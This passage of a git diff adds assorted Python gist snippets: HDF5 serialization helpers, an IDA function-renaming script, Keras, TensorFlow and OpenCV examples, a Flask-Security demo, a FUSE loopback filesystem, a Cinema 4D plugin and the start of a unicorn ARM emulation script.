+                                         chunkshape=level.shape,
+                                         filters=COMPRESSION)
+        else:
+            node = handler.create_array(group, name, atom=atom,
+                                        shape=level.shape)
+        node[:] = level
+
+    elif isinstance(level, ATTR_TYPES):
+        setattr(group._v_attrs, name, level)
+
+    elif level is None:
+        # Store a None as an empty group
+        new_group = handler.create_group(group, name, "nonetype:")
+
+    else:
+        warnings.warn('(deepdish.io.save) Pickling', level, ': '
+                      'This may cause incompatiblities (for instance between '
+                      'Python 2 and 3) and should ideally be avoided')
+        node = handler.create_vlarray(group, name, tables.ObjectAtom())
+        node.append(level)
+
+
+def _load_level(level):
+    if isinstance(level, tables.Group):
+        dct = {}
+        # Load sub-groups
+        for grp in level:
+            lev = _load_level(grp)
+            n = grp._v_name
+            # Check if it's a complicated pair or a string-value pair
+            if n.startswith('__pair'):
+                dct[lev['key']] = lev['value']
+            else:
+                dct[n] = lev
+
+        # Load attributes
+        for name in level._v_attrs._f_list():
+            v = level._v_attrs[name]
+            if isinstance(v, np.string_):
+                v = v.decode('utf-8')
+            dct[name] = v
+
+        if level._v_title.startswith('list:'):
+            N = int(level._v_title[len('list:'):])
+            lst = []
+            for i in range(N):
+                lst.append(dct['i{}'.format(i)])
+            return lst
+        elif level._v_title.startswith('tuple:'):
+            N = int(level._v_title[len('tuple:'):])
+            lst = []
+            for i in range(N):
+                lst.append(dct['i{}'.format(i)])
+            return tuple(lst)
+        elif level._v_title.startswith('nonetype:'):
+            return None
+        else:
+            return dct
+
+    elif isinstance(level, tables.VLArray):
+        if level.shape == (1,):
+            return level[0]
+        else:
+            return level[:]
+    elif isinstance(level, tables.Array):
+        return level[:]
+
+
+def save(path, data, compress=True):
+    """
+    Save any Python structure to an HDF5 file. It is particularly suited for
+    Numpy arrays. This function works similar to ``numpy.save``, except if you
+    save a Python object at the top level, you do not need to issue
+    ``data.flat[1]`` to retrieve it from inside a Numpy array of type
+    ``object``.
+
+    Four types of objects get saved natively in HDF5, the rest get serialized
+    automatically.  For most needs, you should be able to stick to the four,
+    which are:
+
+    * Dictionaries
+    * Lists and tuples
+    * Basic data types (including strings and None)
+    * Numpy arrays
+
+    A recommendation is to always convert your data to using only these four
+    ingredients. That way your data will always be retrievable by any HDF5
+    reader. A class that helps you with this is `deepdish.util.Saveable`.
+
+    This function requires the [PyTables] module to be installed.
+
+    Parameters
+    ----------
+    path : file-like object or string
+        File or filename to which the data is saved.
+    data : anything
+        Data to be saved. This can be anything from a Numpy array, a string, an
+        object, or a dictionary containing all of them including more
+        dictionaries.
+    compress : boolean
+        Turn off data compression.
+
+    See also
+    --------
+    load
+
+    """
+    if not isinstance(path, str):
+        path = path.name
+
+    h5file = tables.open_file(path, mode='w')
+
+    # If the data is a dictionary, put it flatly in the root
+    if isinstance(data, dict):
+        group = h5file.root
+        for key, value in data.items():
+            _save_level(h5file, group, value, name=key, compress=compress)
+
+    else:
+        group = h5file.root
+        _save_level(h5file, group, data, name='_top', compress=compress)
+    h5file.close()
+
+
+def load(path, unpack=True):
+    """
+    Loads an HDF5 saved with `save`.
+
+    This function requires the [PyTables] module to be installed.
+
+    Parameters
+    ----------
+    path : file-like object or string
+        File or filename from which to load the data.
+    unpack : bool
+        If True, a single-entry dictionaries will be unpacked and the value
+        will be returned directly. That is, if you save ``dict(a=100)``, only
+        ``100`` will be loaded.
+
+    Returns
+    --------
+    data : anything
+        Hopefully an identical reconstruction of the data that was saved.
+
+    See also
+    --------
+    save
+
+    """
+    if not isinstance(path, str):
+        path = path.name
+
+
+    h5file = tables.open_file(path, mode='r')
+    root = h5file.root
+    data = _load_level(h5file.root)
+    # Unpack if top is the only one
+    if isinstance(data, dict) and len(data) == 1:
+        if '_top' in data:
+            data = data['_top']
+        elif unpack:
+            data = data.values()[0]
+
+    h5file.close()
+    return data
+
+
+def save_network(net, filename):
+	_data = {
+		'config' : net.to_json(),
+		'weights' : net.get_weights()
+	}
+	save(filename, _data, compress=True)
+
+def load_network(filename, dtype='float32'):
+	data = load(filename)
+	net = model_from_json(data['config'])
+	# W = [w.astype(dtype) for w in data['weights']]
+	W = data['weights']
+	net.set_weights(W)
+	return net
+
+
+
+
+
+
diff --git a/hard-gists/d1af2b73d38fbceee5c848fc9cf641ce/._snippet.py b/hard-gists/d1af2b73d38fbceee5c848fc9cf641ce/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d1af2b73d38fbceee5c848fc9cf641ce/._snippet.py differ
diff --git a/hard-gists/d1af2b73d38fbceee5c848fc9cf641ce/snippet.py b/hard-gists/d1af2b73d38fbceee5c848fc9cf641ce/snippet.py
new file mode 100644
index 00000000..23ef3919
--- /dev/null
+++ b/hard-gists/d1af2b73d38fbceee5c848fc9cf641ce/snippet.py
@@ -0,0 +1,26 @@
+import idaapi
+import idautils
+import idc
+import struct
+
+def do_rename(eaaddr, name):
+    idc.MakeCode(eaaddr)
+    idc.MakeFunction(eaaddr)
+    idc.MakeNameEx(eaaddr, name, idc.SN_NOWARN)
+
+
+if __name__ == "__main__":
+    # name.stackTrace/addr.stackTrace are in rom:/debug/ for Fire Emblem If/Fates (all regions).
+    with open('name.StackTrace', 'rb') as f:
+        names = f.read()
+    with open('addr.StackTrace', 'rb') as f:
+        addrs = f.read()
+    functions = []
+    while len(addrs) > 0:
+        addr, name_ofs = struct.unpack('<II', addrs[:8])
+        addrs = addrs[8:]
+        name = names[name_ofs:names.index('\x00', name_ofs)]
+        if '(' in name:
+            name = name[:name.index('(')]
+        # TODO: extract input variable type information.
+        do_rename(addr, name)
\ No newline at end of file
diff --git a/hard-gists/d29d079100f8d81b905e/._snippet.py b/hard-gists/d29d079100f8d81b905e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d29d079100f8d81b905e/._snippet.py differ
diff --git a/hard-gists/d29d079100f8d81b905e/snippet.py b/hard-gists/d29d079100f8d81b905e/snippet.py
new file mode 100644
index 00000000..47552b67
--- /dev/null
+++ b/hard-gists/d29d079100f8d81b905e/snippet.py
@@ -0,0 +1,33 @@
+"""
+An example to check the AUC score on a validation set for each 10 epochs.
+I hope it will be helpful for optimizing number of epochs.
+"""
+# -*- coding: utf-8 -*-
+import logging
+
+from sklearn.metrics import roc_auc_score
+from keras.callbacks import Callback
+
+
+class IntervalEvaluation(Callback):
+    def __init__(self, validation_data=(), interval=10):
+        super(Callback, self).__init__()
+
+        self.interval = interval
+        self.X_val, self.y_val = validation_data
+
+    def on_epoch_end(self, epoch, logs={}):
+        if epoch % self.interval == 0:
+            y_pred = self.model.predict_proba(self.X_val, verbose=0)
+            score = roc_auc_score(self.y_val, y_pred)
+            logging.info("interval evaluation - epoch: {:d} - score: {:.6f}".format(epoch, score))
+
+# (snip)
+
+if __name__ == '__main__':
+    l.basicConfig(format='%(asctime)s %(message)s', level=l.INFO)
+    X_train, y_train, X_test, y_test = load_data()
+    ival = IntervalEvaluation(validation_data=(X_test, y_test), interval=10)
+
+    clf = keras_model(input_size=X_train.shape[1])
+    clf.fit(X_train, y_train, nb_epoch=100, batch_size=128, verbose=0, callbacks=[ival])
\ No newline at end of file
diff --git a/hard-gists/d2c38170d4beceeb32dc/._snippet.py b/hard-gists/d2c38170d4beceeb32dc/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d2c38170d4beceeb32dc/._snippet.py differ
diff --git a/hard-gists/d2c38170d4beceeb32dc/snippet.py b/hard-gists/d2c38170d4beceeb32dc/snippet.py
new file mode 100644
index 00000000..2abb1e9e
--- /dev/null
+++ b/hard-gists/d2c38170d4beceeb32dc/snippet.py
@@ -0,0 +1,71 @@
+from flask import Flask
+from flask.ext.mongoengine import MongoEngine
+from flask.ext.security import Security, MongoEngineUserDatastore, \
+    UserMixin, RoleMixin, login_required
+from flask.ext.principal import Permission, RoleNeed
+
+
+# Create app
+app = Flask(__name__)
+app.config['DEBUG'] = True
+app.config['SECRET_KEY'] = 'super-secret'
+
+# MongoDB Config
+app.config["MONGODB_HOST"] = "mongodb://localhost:27017/flask_security"
+app.config["MONGODB_DB"] = True
+
+# Create database connection object
+db = MongoEngine(app)
+
+# Create a permission with a single Need, in this case a RoleNeed.
+admin_permission = Permission(RoleNeed('admin'))
+
+
+class Role(db.Document, RoleMixin):
+    name = db.StringField(max_length=80, unique=True)
+    description = db.StringField(max_length=255)
+
+
+class User(db.Document, UserMixin):
+    email = db.StringField(max_length=255)
+    password = db.StringField(max_length=255)
+    active = db.BooleanField(default=True)
+    confirmed_at = db.DateTimeField()
+    roles = db.ListField(db.ReferenceField(Role), default=[])
+
+
+# Setup Flask-Security
+user_datastore = MongoEngineUserDatastore(db, User, Role)
+security = Security(app, user_datastore)
+
+
+# Create a user to test with
+@app.before_first_request
+def create_user():
+    test_role = user_datastore.find_or_create_role('test')
+    user_datastore.create_user(
+        email='a@example.com', password='abc123', roles=[test_role]
+    )
+    admin_role = user_datastore.find_or_create_role('admin')
+    user_datastore.create_user(
+        email='b@example.com', password='abcd1234',
+        roles=[admin_role]
+    )
+
+
+# Views
+@app.route('/')
+@login_required
+def home():
+    return 'private'
+
+
+@app.route('/protected')
+@login_required
+@admin_permission.require()
+def protected():
+    return 'protected'
+
+
+if __name__ == '__main__':
+    app.run()
diff --git a/hard-gists/d37ab1524a7d5e373ee5a2a0176ebd22/._snippet.py b/hard-gists/d37ab1524a7d5e373ee5a2a0176ebd22/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d37ab1524a7d5e373ee5a2a0176ebd22/._snippet.py differ
diff --git a/hard-gists/d37ab1524a7d5e373ee5a2a0176ebd22/snippet.py b/hard-gists/d37ab1524a7d5e373ee5a2a0176ebd22/snippet.py
new file mode 100644
index 00000000..276e4b86
--- /dev/null
+++ b/hard-gists/d37ab1524a7d5e373ee5a2a0176ebd22/snippet.py
@@ -0,0 +1,29 @@
+#!/usr/local/bin/python3
+
+import glob
+import h5py
+import matplotlib.animation as animation
+import matplotlib.pyplot as plot
+import numpy as np
+import tensorflow as tf
+
+
+def main():
+    datafiles = glob.glob('data/*.h5')
+    for datafile in datafiles:
+        with h5py.File(datafile) as data:
+            figure = plot.figure()
+            imageplot = plot.imshow(np.zeros((227, 227, 3), dtype=np.uint8))
+
+            def next_frame(i):
+                image = 255 - data['images'][i].transpose(1, 2, 0)[:, :, ::-1]
+                imageplot.set_array(image)
+                return imageplot,
+
+            animate = animation.FuncAnimation(figure, next_frame, frames=range(len(data['images'])), interval=252, blit=False)
+            plot.show()
+
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/d3bf8d7a1867aed16d30/._snippet.py b/hard-gists/d3bf8d7a1867aed16d30/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d3bf8d7a1867aed16d30/._snippet.py differ
diff --git a/hard-gists/d3bf8d7a1867aed16d30/snippet.py b/hard-gists/d3bf8d7a1867aed16d30/snippet.py
new file mode 100644
index 00000000..7a082688
--- /dev/null
+++ b/hard-gists/d3bf8d7a1867aed16d30/snippet.py
@@ -0,0 +1,106 @@
+#!/usr/bin/env python
+
+from __future__ import with_statement
+
+import datetime
+from errno import EACCES
+from os.path import realpath
+from sys import argv, exit
+from threading import Lock
+
+import os
+
+from fuse import FUSE, FuseOSError, Operations, LoggingMixIn
+
+
+class Loopback(LoggingMixIn, Operations):
+    def __init__(self, root):
+        self.root = realpath(root)
+        self.rwlock = Lock()
+
+    def __call__(self, op, path, *args):
+        return super(Loopback, self).__call__(op, self.root + path, *args)
+
+    def access(self, path, mode):
+        if not os.access(path, mode):
+            raise FuseOSError(EACCES)
+
+    chmod = os.chmod
+    chown = os.chown
+
+    def create(self, path, mode):
+        return os.open(path, os.O_WRONLY | os.O_CREAT, mode)
+
+    def flush(self, path, fh):
+        return os.fsync(fh)
+
+    def fsync(self, path, datasync, fh):
+        return os.fsync(fh)
+
+    def getattr(self, path, fh=None):
+        st = os.lstat(path)
+        return dict((key, getattr(st, key)) for key in ('st_atime', 'st_ctime',
+            'st_gid', 'st_mode', 'st_mtime', 'st_nlink', 'st_size', 'st_uid'))
+
+    getxattr = None
+
+    def link(self, target, source):
+        return os.link(source, target)
+
+    listxattr = None
+    mkdir = os.mkdir
+    mknod = os.mknod
+    open = os.open
+
+    def read(self, path, size, offset, fh):
+        with self.rwlock:
+            os.lseek(fh, offset, 0)
+            return os.read(fh, size)
+
+    def readdir(self, path, fh):
+        ret = [".", ".."]
+        for p in os.listdir(path):
+            ctime = datetime.datetime.fromtimestamp(os.path.getctime(os.path.join(path, p)))
+            if ctime > datetime.datetime.now() - datetime.timedelta(minutes=10):
+                ret.append(p)
+        return ret
+
+    readlink = os.readlink
+
+    def release(self, path, fh):
+        return os.close(fh)
+
+    def rename(self, old, new):
+        return os.rename(old, self.root + new)
+
+    rmdir = os.rmdir
+
+    def statfs(self, path):
+        stv = os.statvfs(path)
+        return dict((key, getattr(stv, key)) for key in ('f_bavail', 'f_bfree',
+            'f_blocks', 'f_bsize', 'f_favail', 'f_ffree', 'f_files', 'f_flag',
+            'f_frsize', 'f_namemax'))
+
+    def symlink(self, target, source):
+        return os.symlink(source, target)
+
+    def truncate(self, path, length, fh=None):
+        with open(path, 'r+') as f:
+            f.truncate(length)
+
+    unlink = os.unlink
+    utimens = os.utime
+
+    def write(self, path, data, offset, fh):
+        with self.rwlock:
+            os.lseek(fh, offset, 0)
+            return os.write(fh, data)
+
+
+if __name__ == '__main__':
+    if len(argv) != 3:
+        print('usage: %s <root> <mountpoint>' % argv[0])
+        exit(1)
+
+    fuse = FUSE(Loopback(argv[1]), argv[2], foreground=True)
+
diff --git a/hard-gists/d3d4123985ffea996781/._snippet.py b/hard-gists/d3d4123985ffea996781/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d3d4123985ffea996781/._snippet.py differ
diff --git a/hard-gists/d3d4123985ffea996781/snippet.py b/hard-gists/d3d4123985ffea996781/snippet.py
new file mode 100644
index 00000000..ac6616aa
--- /dev/null
+++ b/hard-gists/d3d4123985ffea996781/snippet.py
@@ -0,0 +1,11 @@
+import arcpy
+def pprint_fields(table):
+    """ pretty print table's fields and their properties """
+    def _print(l):
+        print("".join(["{:>12}".format(i) for i in l]))
+    atts = ['name', 'aliasName', 'type', 'baseName', 'domain',
+            'editable', 'isNullable', 'length', 'precision',
+            'required', 'scale',]
+    _print(atts)
+    for f in arcpy.ListFields(table):
+        _print(["{:>12}".format(getattr(f, i)) for i in atts])
\ No newline at end of file
diff --git a/hard-gists/d4175526801c6e7bddee/._snippet.py b/hard-gists/d4175526801c6e7bddee/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d4175526801c6e7bddee/._snippet.py differ
diff --git a/hard-gists/d4175526801c6e7bddee/snippet.py b/hard-gists/d4175526801c6e7bddee/snippet.py
new file mode 100644
index 00000000..e31a2c90
--- /dev/null
+++ b/hard-gists/d4175526801c6e7bddee/snippet.py
@@ -0,0 +1,44 @@
+from drawBot import *
+from drawBot.ui.drawView import DrawView
+
+from vanilla import *
+
+class DrawBotViewer(object):
+    
+    def __init__(self):
+        # create a window        
+        self.w = Window((400, 400), minSize=(200, 200))
+        # add a slider
+        self.w.slider = Slider((10, 10, -10, 22), callback=self.sliderCallback)
+        # add a canvas
+        self.w.drawBotCanvas = DrawView((0, 30, -0, -0))
+        # draw something
+        self.drawIt()
+        # open the window
+        self.w.open()
+    
+    def sliderCallback(self, sender):
+        # slider chagned so redraw it
+        self.drawIt()
+        
+    def drawIt(self):
+        # get the value from the slider
+        value = self.w.slider.get()
+        # initiate a new drawing
+        newDrawing()
+        # add a page
+        newPage(300, 300)
+        # set a fill
+        fill(1, value/100., 0)
+        # draw a rectangle
+        rect(10, 10, 100, 100)
+        # set a font size
+        fontSize(100 + value)
+        # draw some text
+        text("Hallo", (10, 120))
+        # get the pdf document
+        pdfData = pdfImage()
+        # set the pdf document into the canvas
+        self.w.drawBotCanvas.setPDFDocument(pdfData)
+        
+DrawBotViewer()
\ No newline at end of file
diff --git a/hard-gists/d44132ae3bdcc0ca96a9f9f84d6d3463/._snippet.py b/hard-gists/d44132ae3bdcc0ca96a9f9f84d6d3463/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d44132ae3bdcc0ca96a9f9f84d6d3463/._snippet.py differ
diff --git a/hard-gists/d44132ae3bdcc0ca96a9f9f84d6d3463/snippet.py b/hard-gists/d44132ae3bdcc0ca96a9f9f84d6d3463/snippet.py
new file mode 100644
index 00000000..e46dc5db
--- /dev/null
+++ b/hard-gists/d44132ae3bdcc0ca96a9f9f84d6d3463/snippet.py
@@ -0,0 +1,300 @@
+"""ShaderBrowser
+Based on: https://developers.maxon.net/?p=439"""
+
+# ====== IMPORTS ====== #
+
+import c4d
+
+
+# ====== GLOBALS ====== #
+
+debug = True
+
+PLUGIN_ID = 1037564
+PLUGIN_NAME = "Shader Browser"
+PLUGIN_HELP = "A simple treeview example"
+
+
+# ====== UTILS ====== #
+
+def GetNextElement(op):
+    """Returns the next material or shader after `op`."""
+
+    if not op:
+        return
+
+    if op.IsInstanceOf(c4d.Mmaterial) and op.GetFirstShader():
+        return op.GetFirstShader()
+    elif op.GetDown():
+        return op.GetDown()
+
+    while (not op.GetNext()) and op.GetUp():
+        op = op.GetUp()
+
+    return op.GetNext()
+
+
+# ====== TREEVIEW ====== #
+
+class ShaderTree(c4d.gui.TreeViewFunctions):
+    """Data structure for a TreeView of Materials & Shaders."""
+
+    def GetFirst(self, root, userdata):
+        """Returns the first Material in the document."""
+
+        if not root:
+            return
+
+        doc = root
+        return doc.GetFirstMaterial()
+
+    def GetDown(self, root, userdata, obj):
+        """Get the next shader in the list."""
+
+        if not root or not obj:
+            return
+
+        mat = obj
+        if mat.IsInstanceOf(c4d.Mmaterial):
+            return mat.GetFirstShader()
+
+        shader = mat
+        return shader.GetDown()
+
+    def GetNext(self, root, userdata, obj):
+        """Get the next material/shader in the list."""
+
+        if not root or not obj:
+            return
+
+        mat = obj
+        return mat.GetNext()
+
+    def IsSelected(self, root, userdata, obj):
+        """Returns True if obj is selected."""
+
+        if not root or not obj:
+            return False
+
+        mat = obj
+        return mat.GetBit(c4d.BIT_ACTIVE)
+
+    def Deselect(self, doc):
+        """Deselects all Materials and Shaders in `doc`"""
+
+        if not doc:
+            return
+
+        mat = doc.GetFirstMaterial()
+        if not mat:
+            return
+
+        while mat:
+            mat.DelBit(c4d.BIT_ACTIVE)
+            mat = GetNextElement(mat)
+
+    def Select(self, root, userdata, obj, mode):
+        """Selects `obj` based on `mode`."""
+
+        if not root or not obj:
+            if debug:
+                print "Select() no Root or Obj"
+            return
+
+        mat = obj
+        doc = root
+
+        # New Selection
+        if mode == c4d.SELECTION_NEW:
+            if debug:
+                print "SELECTION_NEW"
+
+            self.Deselect(doc)
+            mat.SetBit(c4d.BIT_ACTIVE)
+
+        # Add to Current Selection
+        elif mode == c4d.SELECTION_ADD:
+            if debug:
+                print "SELECTION_ADD"
+
+            mat.SetBit(c4d.BIT_ACTIVE)
+
+        # Deselect
+        elif mode == c4d.SELECTION_SUB:
+            if debug:
+                print "SELECTION_SUB"
+            mat.DelBit(c4d.BIT_ACTIVE)
+
+        c4d.EventAdd()
+
+    def IsOpened(self, root, userdata, obj):
+        """Returns True if obj is unfolded."""
+
+        if not root or not obj:
+            return False
+
+        mat = obj
+        return mat.GetBit(c4d.BIT_OFOLD)
+
+    def Open(self, root, userdata, obj, onoff):
+        """Folds or unfolds obj based on onoff."""
+
+        if not root or not obj:
+            return
+
+        mat = obj
+
+        if onoff:
+            mat.SetBit(c4d.BIT_OFOLD)
+        else:
+            mat.DelBit(c4d.BIT_OFOLD)
+
+    def GetName(self, root, userdata, obj):
+        """Returns the name of obj."""
+
+        if not root or not obj:
+            return
+
+        mat = obj
+        if not mat:
+            return
+
+        return mat.GetName()
+
+    def SetName(self, root, userdata, obj, name):
+        """Update obj's name to name."""
+
+        if not root or not obj or name is None:
+            return
+
+        mat = obj
+        return mat.SetName(name)
+
+    def GetId(self, root, userdata, obj):
+        """Returns a unique ID for obj."""
+
+        mat = obj
+        if mat is None:
+            return
+
+        return mat.GetUniqueID()
+
+    def GetDragType(self, root, userdata, obj):
+        """Says that drag/drop is not okay."""
+
+        return c4d.NOTOK
+
+# ====== DIALOG ====== #
+
+class ShaderBrowser(c4d.gui.GeDialog):
+    """Dialog that contains a list of Materials & Shaders in the active document."""
+
+    def __init__(self):
+        self._shaderTreeGui = None
+        pass
+
+    def CreateLayout(self):
+        """Build the overall dialog layout."""
+
+        self.SetTitle(PLUGIN_NAME)
+
+        # Build the ShaderTree GUI Element
+        treedata = c4d.BaseContainer()
+        self._shaderTreeGui = self.AddCustomGui(1000,
+                                                c4d.CUSTOMGUI_TREEVIEW,
+                                                "",
+                                                c4d.BFH_SCALEFIT|c4d.BFV_SCALEFIT,
+                                                0, 0,
+                                                treedata)
+
+        if self._shaderTreeGui:
+            layout = c4d.BaseContainer()
+            layout.SetLong(0, c4d.LV_TREE)
+
+            # Let C4D know there is one column
+            if not self._shaderTreeGui.SetLayout(1, layout):
+                return False
+
+            # Tell the ShaderTree which document it belongs to.
+            if not self._shaderTreeGui.SetRoot(c4d.documents.GetActiveDocument(), ShaderTree(), None):
+                return False
+
+            self._shaderTreeGui.Refresh()
+
+        return True
+
+    def UpdateTree(self, doc):
+        """Rebuilds the shader tree gui element from scratch."""
+
+        if not doc or not self._shaderTreeGui:
+            return False
+
+        if not self._shaderTreeGui.SetRoot(doc, ShaderTree(), None):
+            return False
+
+        self._shaderTreeGui.Refresh()
+        return True
+
+    def InitValues(self):
+        """Set initial values when dialog is first opened."""
+
+        doc = c4d.documents.GetActiveDocument()
+        if not doc:
+            return False
+        if not self.UpdateTree(doc):
+            return False
+
+        return True
+
+    def CoreMessage(self, id, msg):
+        """Rebuild the shader tree gui when something big happens."""
+
+        doc = c4d.documents.GetActiveDocument()
+        if not doc:
+            return False
+        if not self.UpdateTree(doc):
+            return False
+
+        return True
+
+
+# ====== COMMAND ====== #
+
+class ShaderBrowserCommand(c4d.plugins.CommandData):
+    """Command that opens a ShaderTree dialog."""
+
+    dlg = None
+
+    def Execute(self, doc):
+        if self.dlg is None:
+            self.dlg = ShaderBrowser()
+
+        return self.dlg.Open(
+            dlgtype=c4d.DLG_TYPE_ASYNC,
+            pluginid=PLUGIN_ID,
+            xpos=-1,
+            ypos=-1,
+            defaultw=300,
+            defaulth=500
+        )
+
+    def GetState(self, doc):
+        return c4d.CMD_ENABLED
+
+    def RestoreLayout(self, secret):
+        return self.dlg.Restore(PLUGIN_ID, secret)
+
+def main():
+    """Register the plugin with Cinema 4D."""
+
+    c4d.plugins.RegisterCommandPlugin(
+        PLUGIN_ID,
+        PLUGIN_NAME,
+        0,
+        None,
+        PLUGIN_HELP,
+        ShaderBrowserCommand()
+    )
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/d44fde5d323473ce8be7/._snippet.py b/hard-gists/d44fde5d323473ce8be7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d44fde5d323473ce8be7/._snippet.py differ
diff --git a/hard-gists/d44fde5d323473ce8be7/snippet.py b/hard-gists/d44fde5d323473ce8be7/snippet.py
new file mode 100644
index 00000000..11c07c26
--- /dev/null
+++ b/hard-gists/d44fde5d323473ce8be7/snippet.py
@@ -0,0 +1,12 @@
+"""
+How Django generates SECRET_KEYs for new Django projects.
+
+See:
+https://github.com/django/django/blob/1.7.1/django/core/management/commands/startproject.py#L27
+"""
+
+from django.utils.crypto import get_random_string
+
+# Create a random secret_key
+chars = 'abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*(-_=+)'
+secret_key = get_random_string(50, chars)
diff --git a/hard-gists/d45259ce3f8e4c226846d2f31bf719f5/._snippet.py b/hard-gists/d45259ce3f8e4c226846d2f31bf719f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d45259ce3f8e4c226846d2f31bf719f5/._snippet.py differ
diff --git a/hard-gists/d45259ce3f8e4c226846d2f31bf719f5/snippet.py b/hard-gists/d45259ce3f8e4c226846d2f31bf719f5/snippet.py
new file mode 100644
index 00000000..442863ef
--- /dev/null
+++ b/hard-gists/d45259ce3f8e4c226846d2f31bf719f5/snippet.py
@@ -0,0 +1,57 @@
+import numpy as np
+import tensorflow as tf
+
+# Newton's optimization method for multivariate function in tensorflow
+
+def cons(x):
+    return tf.constant(x, dtype=tf.float32)
+
+def compute_hessian(fn, vars):
+    mat = []
+    for v1 in vars:
+        temp = []
+        for v2 in vars:
+            temp.append(tf.gradients(tf.gradients(fn, v2)[0], v1)[0])
+        temp = [cons(0) if t == None else t for t in temp]
+        temp = tf.pack(temp)
+        mat.append(temp)
+    mat = tf.pack(mat)
+    return mat
+
+def compute_grads(fn, vars):
+    grads = []
+    for v in vars:
+        grads.append(tf.gradients(fn, v)[0])
+    return tf.reshape(tf.pack(grads), shape=[2, -1])
+
+def optimize(all_variables, update):
+    optmize_variables = []
+    for i in range(len(all_variables)):
+        optmize_variables.append(all_variables[i].assign(all_variables[i] - alpha * tf.squeeze(update[i])))
+    return tf.pack(optmize_variables)
+
+x = tf.Variable(np.random.random_sample(), dtype=tf.float32)
+y = tf.Variable(np.random.random_sample(), dtype=tf.float32)
+
+alpha = cons(0.1)
+
+# f = tf.pow(x, cons(2)) + cons(2) * x * y + cons(3) * tf.pow(y, cons(2)) + cons(4) * x + cons(5) * y + cons(6)
+f = cons(0.5) * tf.pow(x, 2) + cons(2.5) * tf.pow(y, 2)
+all_variables = [x, y]
+
+hessian = compute_hessian(f, all_variables)
+hessian_inv = tf.matrix_inverse(hessian)
+g = compute_grads(f, all_variables)
+update = tf.unpack(tf.matmul(hessian_inv, g))
+
+optimize_op = optimize(all_variables, update)
+
+sess = tf.Session()
+sess.run(tf.initialize_all_variables())
+
+func = np.inf
+for i in range(10):
+    prev = func
+    v1, v2, func = sess.run([x, y, f])
+    print v1, v2, func
+    sess.run(optimize_op)
diff --git a/hard-gists/d49f6fd44b9e690a6ac5/._snippet.py b/hard-gists/d49f6fd44b9e690a6ac5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d49f6fd44b9e690a6ac5/._snippet.py differ
diff --git a/hard-gists/d49f6fd44b9e690a6ac5/snippet.py b/hard-gists/d49f6fd44b9e690a6ac5/snippet.py
new file mode 100644
index 00000000..6b75dba1
--- /dev/null
+++ b/hard-gists/d49f6fd44b9e690a6ac5/snippet.py
@@ -0,0 +1,45 @@
+import sys, cv2
+
+# Refactored https://realpython.com/blog/python/face-recognition-with-python/
+
+def cascade_detect(cascade, image):
+  gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
+  return cascade.detectMultiScale(
+    gray_image,
+    scaleFactor = 1.15,
+    minNeighbors = 5,
+    minSize = (30, 30),
+    flags = cv2.cv.CV_HAAR_SCALE_IMAGE
+  )
+
+def detections_draw(image, detections):
+  for (x, y, w, h) in detections:
+    print "({0}, {1}, {2}, {3})".format(x, y, w, h)
+    cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)
+
+def main(argv = None):
+  if argv is None:
+    argv = sys.argv
+
+  cascade_path = sys.argv[1]
+  image_path = sys.argv[2]
+  result_path = sys.argv[3] if len(sys.argv) > 3 else None
+
+  cascade = cv2.CascadeClassifier(cascade_path)
+  image = cv2.imread(image_path)
+  if image is None:
+    print "ERROR: Image did not load."
+    return 2
+
+  detections = cascade_detect(cascade, image)
+  detections_draw(image, detections)
+
+  print "Found {0} objects!".format(len(detections))
+  if result_path is None:
+    cv2.imshow("Objects found", image)
+    cv2.waitKey(0)
+  else:
+    cv2.imwrite(result_path, image)
+
+if __name__ == "__main__":
+  sys.exit(main())
diff --git a/hard-gists/d4d90bc5b8fb9a56fa2d4f2383a2eda7/._snippet.py b/hard-gists/d4d90bc5b8fb9a56fa2d4f2383a2eda7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/d4d90bc5b8fb9a56fa2d4f2383a2eda7/._snippet.py differ
diff --git a/hard-gists/d4d90bc5b8fb9a56fa2d4f2383a2eda7/snippet.py b/hard-gists/d4d90bc5b8fb9a56fa2d4f2383a2eda7/snippet.py
new file mode 100644
index 00000000..7aab9ed2
--- /dev/null
+++ b/hard-gists/d4d90bc5b8fb9a56fa2d4f2383a2eda7/snippet.py
@@ -0,0 +1,124 @@
+#!/usr/bin/python
+
+import sys
+from keystone import *
+from unicorn import *
+from unicorn.arm_const import *
+from capstone import *
+from capstone.arm import *
+from capstone.x86 import *
+
+# architectures and modes for the assembler, disassembler, and emulator
+ks_arch = KS_ARCH_ARM
+ks_mode = KS_MODE_THUMB
+cs_arch = CS_ARCH_ARM
+cs_mode = CS_MODE_THUMB
+emu_arch = UC_ARCH_ARM
+emu_mode = UC_MODE_THUMB
+
+# declare assembler, disassembler, and emulator objects
+ks = Ks(ks_arch, ks_mode)
+cs = Cs(cs_arch, cs_mode)
+cs_arm = Cs(cs_arch, CS_MODE_ARM)
+emu = Uc(emu_arch, emu_mode)
+
+# the program
+code = 'eors r0, r0;'
+code += 'adds r0, #0x42;'
+code += 'mov r1, #0x1111;'
+code += 'movt r1, #0x1111;'
+code += 'mov r2, #0x2222;'
+code += 'movt r2, #0x2222;'
+code += 'push {r0, r1, r2};'
+code += 'pop {r3};'
+
+# callback for tracing instructions
+def hook_code(uc, address, size, user_data):
+	#global cs
+	#print 'address = 0x{:x}, size = {}'.format(address, size)
